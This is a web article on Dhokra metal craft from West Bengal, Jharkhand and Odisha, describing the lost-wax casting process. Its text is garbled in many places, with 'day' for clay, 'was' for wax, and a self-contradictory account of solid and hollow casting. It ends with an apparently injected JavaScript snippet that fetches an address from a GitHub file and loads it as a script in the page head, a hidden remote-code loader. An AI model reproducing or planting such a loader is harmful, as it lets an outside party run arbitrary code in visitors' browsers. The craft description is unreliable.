Where is Dhokra art from?

The tribe initially resided in Jharkhand Bankura – Dariapur belt in West Bengal, parts of Madhya Pradesh and Odisha. Historians believe that the custodian of this legacy is mainly the tribal communities living in this region and famously known as dhokra art of West Bengal.

Dhokra is non-ferrous metal casting using the lost-wax casting technique. This sort of metal casting has been used in India for over 4000 years and is still used. One of the earliest known lost artefacts  is the dancing girl of Mohenjodaro. The products of dhokra artisans are in great demand in domestic and to reign markets because of primitive simplicity, enchanting folk motifs and forceful form. Dhokra horses, elephants, peacocks, Owls, religious images, measuring bools, and lamp caskets etc. are highly appreciated. The lost wax technique for casting of copper, Egypt, Malaysia, Nigeria, Central, America and other places. There are two main processes of lost wax casting: Solid casting and hollow  casting. While the former is predominant in the South of India the latter is more common in central and Eastern India. Solid casting does not use a day core but instead a solid casting is the more traditional method and uses the day care.

The first task in the lost wax was a hollow casting process of developing a day care which is roughly  the shape of the final cast image. Next the day core is covered by a layer of was composed of pure beewas, resin from the tree damara orientalis and nut oil. The was is then shaped and carved in all its finer details of design and decorations. It is then covered with layers of day, which takes the negative form of the wax on the inside, thus becoming a mould for the metal that will be poured inside it. Drain ducts are left for the wax, which melts away when the day is cooked. The wax is then replaced by the molten metal, often using brass scrap as basic raw materials. The Liquid metal poured in hardens between the core and the inner surface of the mould. The metal tills the mould and takes the same shape as the wax, the outer layer of day is then clipped off and the metal icon is polished and finished as desired. 

(var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)